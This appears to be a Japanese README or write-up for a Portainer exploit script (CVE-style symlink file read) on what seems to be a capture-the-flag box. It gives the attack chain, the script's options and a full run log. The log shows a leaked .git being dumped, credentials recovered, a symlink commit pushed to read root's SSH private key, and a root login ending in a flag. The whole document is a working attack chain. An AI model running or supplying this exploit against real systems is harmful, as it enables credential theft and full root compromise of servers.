ポート80で漏洩した .git
    → コミット履歴から lowuser:password を復元
        → Portainer ログイン
            → クリーンなYAMLでGitバックエンドスタックを作成        (検証通過、スタックが永続化)
                → シンボリックリンクコミットをプッシュ、/git/redeploy をトリガー (検証失敗、ワーキングツリーは更新)
                    → GET /api/stacks/{id}/file              (シンボリックリンク先の内容を返す)
                        → ssh -i stolen_key root@target

./exploit.sh -t 192.168.1.27

  -t, --target             target IP (必須)
  -a, --attacker           git daemon 用に Portainer に通知する攻撃者 IP (自動検出)
  -l, --leak-path          公開された .git ディレクトリのパス (デフォルト: /.git)
  -p, --portainer-port     Portainer HTTP ポート (デフォルト: 9000)
  -g, --git-port           ローカル git daemon ポート (デフォルト: 9418)
  -w, --workdir            スクラッチファイル用の作業ディレクトリ (デフォルト: mktemp)
  -u, --user               .git 列挙をスキップ; この Portainer ユーザー名を使用
  -P, --pass               .git 列挙をスキップ; この Portainer パスワードを使用
      --no-creds-from-git  .git ステージをスキップし、-u/-P を必須にする
      --no-ssh             最終的な SSH インステップをスキップ
  -h, --help               このヘルプを表示して終了

$ ./exploit.sh -t 192.168.1.27
[+] Target          : http://192.168.1.27:9000
[+] Attacker IP     : 192.168.1.34
[+] Workdir         : /tmp/cve44881-xxxx

=== Stage 1 — 漏洩した /.git をダンプし、認証情報を復元 ===
[+] git-dumper が見つかりました、実行中...
[+] git 履歴:
    3a1f9e2 oops: remove creds from repo, rotate before prod
    b4c20a6 add trial onboarding env (temp, will move to vault)
    d09a875 init: portal landing + ops notes
[+] 復元された認証情報: lowuser / lowuser-c0ntain3r-2026

=== Stage 2 — Portainer 認証 ===
[+] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[+] エンドポイントID: 1

=== Stage 3 — git://192.168.1.34:9418/repo.git でベイト Git リポジトリをホスト ===
[+] git daemon 起動 (pid 12345)

=== Stage 4 — Git バックエンドスタックを作成 (クリーンなYAML) ===
[+] スタックID: 1

=== Stage 5 — シンボリックリンクコミットをプッシュ + 再デプロイをトリガー ===
[+] 再デプロイ応答: {"message":"stack config file is invalid: top-level object must be a mapping"}

=== Stage 6 — GET /api/stacks/1/file ===
[+] 漏洩した秘密鍵を /tmp/cve44881-xxxx/stolen_id_rsa に保存
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----

=== Stage 7 — 漏洩した鍵で root として SSH ログイン ===
=== id ===
uid=0(root) gid=0(root) groups=0(root)
=== hostname ===
containerops
=== flag ===
b7d419c8a2f6e90315b7d419c8a2f6e9

=== Done — エクスプロイト完了 ===